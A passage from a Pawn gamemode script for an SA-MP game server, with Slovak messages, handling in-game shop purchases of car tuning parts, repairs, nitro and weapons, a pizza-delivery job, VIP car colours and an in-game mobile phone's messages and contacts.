                            else if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                new bool:IsVehicleHouseVehicle=false;
                                new bool:IsVehicleClanVehicle=false;
                                new bool:IsVehiclePlayerVehicle=false;

                                new series;

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                IsVehicleHouseVehicle=true;
                                                series = s;
                                                break;
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                IsVehicleClanVehicle=true;
                                                series = s;
                                                break;
                                            }
                                        }
                                    }
                                }

                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            IsVehiclePlayerVehicle=true;
                                            series = s;
                                            break;
                                        }
                                    }
                                }

                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si nový komponent na svoju karu !",3000);

                                new sultan = 560;
                                new elegy = 562;
                                new jester = 559;
                                new flash = 565;
                                new uranus = 558;
                                new componentid2=0;

                                if(listitem == 0) // pn:alien
                                {
                                    if(modelid == sultan) componentid = 1169;
                                    if(modelid == jester) componentid = 1160;
                                    if(modelid == elegy)  componentid = 1171;
                                    if(modelid == flash)  componentid = 1153;
                                    if(modelid == uranus) componentid = 1166;
                                }
                                if(listitem == 1) // pn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1170;
                                    if(modelid == jester) componentid = 1173;
                                    if(modelid == elegy)  componentid = 1172;
                                    if(modelid == flash)  componentid = 1152;
                                    if(modelid == uranus) componentid = 1165;
                                }
                                if(listitem == 2) // sn:alien
                                {
                                    if(modelid == sultan) componentid = 1026;
                                    if(modelid == jester) componentid = 1069;
                                    if(modelid == elegy)  componentid = 1036;
                                    if(modelid == flash)  componentid = 1047;
                                    if(modelid == uranus) componentid = 1090;

                                    if(modelid == sultan) componentid2 = 1027;
                                    if(modelid == jester) componentid2 = 1071;
                                    if(modelid == elegy)  componentid2 = 1040;
                                    if(modelid == flash)  componentid2 = 1051;
                                    if(modelid == uranus) componentid2 = 1094;
                                }
                                if(listitem == 3) // sn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1030;
                                    if(modelid == jester) componentid = 1070;
                                    if(modelid == elegy)  componentid = 1039;
                                    if(modelid == flash)  componentid = 1048;
                                    if(modelid == uranus) componentid = 1093;

                                    if(modelid == sultan) componentid2 = 1031;
                                    if(modelid == jester) componentid2 = 1072;
                                    if(modelid == elegy)  componentid2 = 1041;
                                    if(modelid == flash)  componentid2 = 1052;
                                    if(modelid == uranus) componentid2 = 1095;
                                }
                                if(listitem == 4) // zn:alien
                                {
                                    if(modelid == sultan) componentid = 1141;
                                    if(modelid == jester) componentid = 1159;
                                    if(modelid == elegy)  componentid = 1149;
                                    if(modelid == flash)  componentid = 1150;
                                    if(modelid == uranus) componentid = 1168;

                                    if(modelid == sultan) componentid2 = 1028;
                                    if(modelid == jester) componentid2 = 1065;
                                    if(modelid == elegy)  componentid2 = 1034;
                                    if(modelid == flash)  componentid2 = 1046;
                                    if(modelid == uranus) componentid2 = 1092;
                                }
                                if(listitem == 5) // zn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1140;
                                    if(modelid == jester) componentid = 1161;
                                    if(modelid == elegy)  componentid = 1148;
                                    if(modelid == flash)  componentid = 1151;
                                    if(modelid == uranus) componentid = 1167;

                                    if(modelid == sultan) componentid2 = 1029;
                                    if(modelid == jester) componentid2 = 1066;
                                    if(modelid == elegy)  componentid2 = 1037;
                                    if(modelid == flash)  componentid2 = 1045;
                                    if(modelid == uranus) componentid2 = 1089;
                                }
                                if(listitem == 6) // spoiler:alien
                                {
                                    if(modelid == sultan) componentid = 1138;
                                    if(modelid == jester) componentid = 1162;
                                    if(modelid == elegy)  componentid = 1147;
                                    if(modelid == flash)  componentid = 1049;
                                    if(modelid == uranus) componentid = 1164;
                                }
                                if(listitem == 7) // spoiler:x-flow
                                {
                                    if(modelid == sultan) componentid = 1139;
                                    if(modelid == jester) componentid = 1158;
                                    if(modelid == elegy)  componentid = 1146;
                                    if(modelid == flash)  componentid = 1050;
                                    if(modelid == uranus) componentid = 1163;
                                }
                                if(listitem == 8) // strecha:alien
                                {
                                    if(modelid == sultan) componentid = 1032;
                                    if(modelid == jester) componentid = 1067;
                                    if(modelid == elegy)  componentid = 1038;
                                    if(modelid == flash)  componentid = 1054;
                                    if(modelid == uranus) componentid = 1088;
                                }
                                if(listitem == 9) // strecha:x-flow
                                {
                                    if(modelid == sultan) componentid = 1033;
                                    if(modelid == jester) componentid = 1068;
                                    if(modelid == elegy)  componentid = 1035;
                                    if(modelid == flash)  componentid = 1053;
                                    if(modelid == uranus) componentid = 1091;
                                }

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                AddVehicleComponent(vehicleid, componentid);
                                if(componentid2 > 0) AddVehicleComponent(vehicleid, componentid2);

                                if(IsVehicleHouseVehicle == true)
                                {
                                    new hway[32];
                                    format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(hway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(hway, v_snL, componentid); dini_IntSet(hway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(hway, v_zn, componentid); dini_IntSet(hway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(hway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(hway, v_roof, componentid);
                                }

                                else if(IsVehicleClanVehicle == true)
                                {
                                    new cway[64];
                                    format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(cway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(cway, v_snL, componentid); dini_IntSet(cway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(cway, v_zn, componentid); dini_IntSet(cway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(cway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(cway, v_roof, componentid);
                                }
                               
                                else if(IsVehiclePlayerVehicle == true)
                                {
                                    new pway[32], Name[24];
                                    GetPlayerName(playerid, Name, 24);
                                    format(pway,32,"SL/%s.cfg", Name);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(pway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(pway, v_snL, componentid); dini_IntSet(pway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(pway, v_zn, componentid); dini_IntSet(pway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(pway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(pway, v_roof, componentid);
                                }
                            }
                        }
                    }

                    //-------------------------BENZINKA-----------------------------

                    if(firmtype == 4)
                    {
                        if(vehicleid > 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                new componentid4=0;

                                if(listitem == 0)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Opravil si si vozidlo !",3000);
                                    SetVehicleHealth(vehicleid, 1000);
                                    RepairVehicle(vehicleid);
                                }
                                else if(listitem == 1)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Natankoval si si benzin !",3000);
                                    ResetVehicleFuel(vehicleid);
                                }
                                else if(listitem == 5)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si hydrauliku !",3000);
                                    componentid4=1087;
                                }
                                else
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si Nitro !",3000);
                                    if(listitem == 2) componentid4=1009;
                                    if(listitem == 3) componentid4=1008;
                                    if(listitem == 4) componentid4=1010;
                                }

                                if(componentid4 > 0) AddVehicleComponent(vehicleid, componentid4);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                if(componentid4 > 0)
                                                {
                                                    new hway[32];
                                                    format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                                    new V_hyd[32];
                                                    format(V_hyd,32, "V%d_hyd", s);
                                                    new V_nitro[32];
                                                    format(V_nitro,32, "V%d_nitro", s);

                                                    if(componentid4 == 1087) dini_IntSet(hway, V_hyd, dini_Int(fway, Item_id));
                                                    else                     dini_IntSet(hway, V_nitro, dini_Int(fway, Item_id));

                                                    return 0;
                                                }
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                if(componentid4 > 0)
                                                {
                                                    new cway[32];
                                                    format(cway,32,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                                    new V_hyd[32];
                                                    format(V_hyd,32, "V%d_hyd", s);
                                                    new V_nitro[32];
                                                    format(V_nitro,32, "V%d_nitro", s);

                                                    if(componentid4 == 1087) dini_IntSet(cway, V_hyd, dini_Int(fway, Item_id));
                                                    else                     dini_IntSet(cway, V_nitro, dini_Int(fway, Item_id));

                                                    return 0;
                                                }
                                            }
                                        }
                                    }
                                }
                               
                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            if(componentid4 > 0)
                                            {
                                                new pway[32], Name[24];
                                                GetPlayerName(playerid, Name, 24);
                                                format(pway,32,"SL/%s.cfg", Name);

                                                new V_hyd[32];
                                                format(V_hyd,32, "V%d_hyd", s);
                                                new V_nitro[32];
                                                format(V_nitro,32, "V%d_nitro", s);

                                                if(componentid4 == 1087) dini_IntSet(pway, V_hyd, dini_Int(fway, Item_id));
                                                else                     dini_IntSet(pway, V_nitro, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }

                    //------------------------WEAPONS-------------------------------

                    if(firmtype == 8)
                    {
                        if(vehicleid == 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si zbran !",3000);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                new ammo = 0;
                                new diniitemid = dini_Int(fway, Item_id);

                                if(diniitemid == 216) ammo=3;
                                else if(diniitemid == 222) ammo=50;
                                else if(diniitemid == 223) ammo=50;
                                else if(diniitemid == 224) ammo=25;
                                else if(diniitemid == 225) ammo=15;
                                else if(diniitemid == 226) ammo=50;
                                else if(diniitemid == 227) ammo=40;
                                else if(diniitemid == 228) ammo=100;
                                else if(diniitemid == 229) ammo=50;
                                else if(diniitemid == 230) ammo=50;
                                else if(diniitemid == 231) ammo=50;
                                else if(diniitemid == 232) ammo=100;
                                else if(diniitemid == 233) ammo=15;
                                else if(diniitemid == 234) ammo=5;
                                else if(diniitemid == 235) ammo=1;

                                if(diniitemid == 299) SetPlayerArmour(playerid, 100.0);
                                else GivePlayerWeapon(playerid, diniitemid-200, ammo);
                            }
                        }
                    }

                    //--------------------------------------------------------------

                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        /////////////////////////////////////////////////////
        /////////////////////////////////////////////////////
        /////////////////////////////////////////////////////

        else if(dialogid == Dialog_Brigada0)
        {
            if(response == 1)
            {
                Player[playerid][BrigadaID] = 0;

                new Float:cpx, Float:cpy, Float:cpz;
                switch(random(25))
                {
                    case 0:  { cpx=669.17834472656; cpy=-1763.0355224609; cpz=13.586736679077; }
                    case 1:  { cpx=1972.0899658203; cpy=-1658.6551513672; cpz=15.96875; }
                    case 2:  { cpx=1873.5612792969; cpy=-2060.5192871094; cpz=13.546875; }
                    case 3:  { cpx=2452.0588378906; cpy=-1651.0666503906; cpz=13.399759292603; }
                    case 4:  { cpx=2105.5021972656; cpy=-1228.0560302734; cpz=23.9765625; }
                    case 5:  { cpx=1297.2888183594; cpy=-1414.4985351563; cpz=13.402419090271; }
                    case 6:  { cpx=685.55444335938; cpy=-1412.8319091797; cpz=13.572021484375; }
                    case 7:  { cpx=193.00735473633; cpy=-1770.8659667969; cpz=4.2900409698486; }
                    case 8:  { cpx=2762.0651855469; cpy=-1979.6545410156; cpz=13.547723770142; }
                    case 9:  { cpx=221.95050048828; cpy=-1396.0893554688; cpz=51.593116760254; }
                    case 10: { cpx=821.84088134766; cpy=-781.38934326172; cpz=72.893081665039; }
                    case 11: { cpx=1437.8725585938; cpy=-889.80084228516; cpz=50.658069610596; }
                    case 12: { cpx=2035.9106445313; cpy=-1066.5922851563; cpz=24.759738922119; }
                    case 13: { cpx=2635.2451171875; cpy=-1098.3872070313; cpz=69.398056030273; }
                    case 14: { cpx=344.37835693359; cpy=-1191.673828125; cpz=76.535652160645; }
                    case 15: { cpx=1761.4982910156; cpy=-2120.205078125; cpz=13.554351806641; }
                    case 16: { cpx=982.99822998047; cpy=-1777.5009765625; cpz=14.25980758667; }
                    case 17: { cpx=688.22351074219; cpy=-1594.1788330078; cpz=14.110450744629; }
                    case 18: { cpx=1047.1323242188; cpy=-1294.0205078125; cpz=13.546875; }
                    case 19: { cpx=1231.9820556641; cpy=-1021.5129394531; cpz=32.6015625; }
                    case 20: { cpx=1498.2957763672; cpy=-1585.5098876953; cpz=13.546875; }
                    case 21: { cpx=1949.4433593750; cpy=-1563.0010986328; cpz=13.616527557373; }
                    case 22: { cpx=2174.6455078125; cpy=-994.95239257813; cpz=62.97486114502; }
                    case 23: { cpx=2420.3598632813; cpy=-1910.5383300781; cpz=13.546875; }
                    case 24: { cpx=2491.7370605469; cpy=-1406.3177490234; cpz=28.838520050049; }
                }

                DisablePlayerRaceCheckpoint(playerid);

                SetPlayerRaceCheckpoint(playerid, 1, cpx, cpy, cpz, 0, 0, 0, 2);

                for(new b=0; b<100; b++)
                {
                    if((b * 100) > GetPlayerDistanceToPointEx(playerid, cpx, cpy, cpz))
                    {
                        Player[playerid][BrigadaTime] = (b * 13);
                        break;
                    }
                }

                SetPlayerSkin(playerid, 155);
                Player[playerid][Skin] = 155;

                Player[playerid][IPIP]=false;

                FormatPlayerInfoBox(playerid,"~g~Brigada", "~w~Chod si zobrat pizza motorku a doruc pizzu na miesto oznacene checkpoiontom.~n~~n~~w~Pre ukoncenie misie pouzi:~n~~y~/missionoff", 7000);
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }


        else if(dialogid == Dialog_Brigada1)
        {
            if(response == 1)
            {
                Player[playerid][BrigadaID] = 1;

                new stringE1[150];
                new stringE2[150];

                format(stringE1,150, "~w~Chod zohnat vozidlo z menom:~n~~y~%s~n~~n~~w~Pre ukoncenie misie pouzi:~n~~y~/missionoff", VehicleName[Player[playerid][BrigadaInfo] - 400]);
                FormatPlayerInfoBox(playerid,"~g~Brigada", stringE1, 7000);

                format(stringE2,150, "Chod zohnat vozidlo z menom: {ff0000}%s", VehicleName[Player[playerid][BrigadaInfo] - 400]);
                SendClientMessage(playerid, COLOR_YELLOW_LIGHT, stringE2);

                Player[playerid][IPIP]=false;
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //oooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

        else if(dialogid == Dialog_VIP_Cmenu)
        {
            if(response == 1)
            {
                if(listitem == 0) ChangeVehicleColor(GetPlayerVehicleID(playerid),0,0);
                if(listitem == 1) ChangeVehicleColor(GetPlayerVehicleID(playerid),1,1);
                if(listitem == 2) ChangeVehicleColor(GetPlayerVehicleID(playerid),3,3);
                if(listitem == 3) ChangeVehicleColor(GetPlayerVehicleID(playerid),2,2);
                if(listitem == 4) ChangeVehicleColor(GetPlayerVehicleID(playerid),86,86);
                if(listitem == 5) ChangeVehicleColor(GetPlayerVehicleID(playerid),6,6);
                if(listitem == 6) ChangeVehicleColor(GetPlayerVehicleID(playerid),13,13);
                if(listitem == 7) ChangeVehicleColor(GetPlayerVehicleID(playerid),126,126);
                if(listitem == 8) ChangeVehicleColor(GetPlayerVehicleID(playerid),-1 + random(127),-1 + random(127));

                SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Zmenil si si farbu auta !");
                     if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
            }
        }

        /////////////////////////////////////////////////////
        ///////////////////// MOBIL /////////////////////////
        /////////////////////////////////////////////////////

        if(dialogid == Dialog_Mobil_menu)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj číslo príjemcu","OK","Back");

                if(listitem == 1)
                {
                    new m_way[50];
                    format(m_way,50,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                     new MSGText[25][50];

                     new msgs = dini_Int(m_way, "Messages");
                    for(new m=0; m<msgs; m++)
                    {
                        new MSGWay[64];
                        new messagetext[20];

                        new MSG_from[16];
                        format(MSG_from,16, "MSG%d_from", m);

                        if(dini_Int(m_way, MSG_from) != 0) format(MSGWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(m_way, MSG_from));

                        new MSG_read[16];
                        format(MSG_read,16, "MSG%d_read", m);

                        new MSG_text[16];
                        format(MSG_text,16, "MSG%d_text", m);

                        format(messagetext, 20, "%s", dini_Get(m_way, MSG_text));

                        if(strlen(dini_Get(m_way, MSG_text)) >= 19)
                        {
                            if(dini_Int(m_way, MSG_read) == 1) format(MSGText[m], 50, "{ff0000}* New: %s: %s...", dini_Get(MSGWay, "Majitel"), messagetext);
                            else format(MSGText[m], 50, "%s: {ffff70}%s...", dini_Get(MSGWay, "Majitel"), messagetext);
                        }
                        else
                        {
                            if(dini_Int(m_way, MSG_read) == 1) format(MSGText[m], 50, "{ff0000}* New: %s: %s", dini_Get(MSGWay, "Majitel"), messagetext);
                            else format(MSGText[m], 50, "%s: {ffff70}%s", dini_Get(MSGWay, "Majitel"), messagetext);
                        }
                    }

                    new mText1[128];
                    format(mText1,128,"{ffff00}Prijaté zprávy (%d/25)", dini_Int(m_way, "Messages"));

                    if(msgs <= 0)  return ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,"{ff0000}Nemáš žiádne zprávy !","Back","");

                    for(new i=0; i<msgs; i++)
                    {
                        format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, MSGText[i]);
                    }

                    ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,gBIGSTRING,"Prečitať","Back");
                }

                if(listitem == 2)
                {
                    new N92[30][25], pWAY[64];

                    format(pWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new c=0; c<30; c++)
                    {
                        new C_use[16];
                        format(C_use,16, "C%d_use", c);

                        new C_number[16];
                        format(C_number,16, "C%d_number", c);

                        if(dini_Int(pWAY, C_use) == 0) N92[c]=" ";

                        new GTqWe[64];
                        format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY, C_number));

                        if(dini_Int(pWAY, C_use) == 1) format(N92[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                    }

                    new contacts = dini_Int(pWAY, "Contacts");
                    if(contacts > 30) contacts = 30;
                    for(new i=0; i<contacts; i++)
                    {
                        format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, N92[i]);
                    }
                    strcat(gBIGSTRING, "{ffff00}New");

                    new mText1_vQA[128];
                    format(mText1_vQA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY, "Contacts"));

                    ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vQA,gBIGSTRING,"OK","Back");
                }

                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_Mobil_RT,DIALOG_STYLE_LIST,"{ffff00}Vyzvanáci tón","Žiadny\nRingtone 1 (standard)\nRingtone 2\nRingtone 3\nRingtone 4\nRingtone 5\nRingtone 6\nRingtone 7","Zvolit","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C1)
        {
            if(response == 1)
            {
                new i_PWAY[64];
                format(i_PWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                if(listitem != dini_Int(i_PWAY, "Contacts")) // ak nevybral Novy kontakt
                {
                    Mobil[playerid][ContactNumber] = listitem;

                    new iText1[64],
                        iText2[128],
                        cntWAY[50],
                        C_number[16]
                    ;

                    format(C_number, 16, "C%d_number", listitem);
                    format(cntWAY,50,"SL/Server/MobilNumbers/%d.cfg", dini_Int(i_PWAY, C_number));
                    format(iText1,64, "{ffff00}%s", dini_Get(cntWAY, "Majitel"));
                    format(iText2,128, "{ffff00}Jméno: {c5c5c5}%s\n{ffff00}Číslo: {c5c5c5}%d", dini_Get(cntWAY, "Majitel"), dini_Int(cntWAY, "MobilNumber"));
                   
                    Mobil[playerid][Save_MobilNumber] = dini_Int(cntWAY, "MobilNumber");

                    ShowPlayerDialog(playerid,Dialog_Mobil_C2,DIALOG_STYLE_MSGBOX, iText1, iText2, "Možnosti", "Back");
                }

                else ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","Zadaj číslo kontaktu:","OK","Back");
            }

            if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff70}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }
       
        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_ContactOptions)
        {
            new bool:ShowPlayerContactMenu=false;
       
            if(response == 1)
            {
                if(listitem == 0)
                {
                    new string_NM2_3[256], TargetPlayerWay_3[64], TargetPlayerName_3[32];

                    format(TargetPlayerWay_3,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName_3,32, "%s", dini_Get(TargetPlayerWay_3, "Majitel"));
                    format(string_NM2_3,256, "{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_3);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_3,"OK","Back");
                }
               
                if(listitem == 1)
                {
                    new from = Mobil[playerid][ContactNumber];

                    new mx5_way[64];
                    format(mx5_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new x=from; x<dini_Int(mx5_way, "Contacts"); x++)
                    {
                        new C_use_A[16], C_use_B[16], C_number_A[16], C_number_B[16];

                        new xx = (x+1);

                        format(C_use_A,16,"C%d_use", x);
                        format(C_use_B,16 ,"C%d_use", xx);

                        format(C_number_A,16,"C%d_number", x);
                        format(C_number_B,16 ,"C%d_number", xx);

                        dini_IntSet(mx5_way, C_use_A, dini_Int(mx5_way, C_use_B));
                        dini_IntSet(mx5_way, C_number_A, dini_Int(mx5_way, C_number_B));
                    }

                    new newconts = dini_Int(mx5_way, "Contacts");
                    newconts--;

                    dini_IntSet(mx5_way, "Contacts", newconts);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Kontakt bol uspesne zmazany !", 2000);
                   
                    ShowPlayerContactMenu=true;
                }
            }
           
            if(response == 0 || ShowPlayerContactMenu == true)
            {
                new nText2_QVX[1000],
                    N93[30][25],
                    pWAY[64]
                ;

                format(pWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY, C_use) == 0) N93[c]=" ";

                    new GTqWe[64];
                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY, C_number));

                    if(dini_Int(pWAY, C_use) == 1) format(N93[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_QVX, sizeof(nText2_QVX), "%s%s\n", nText2_QVX, N93[i]);
                }
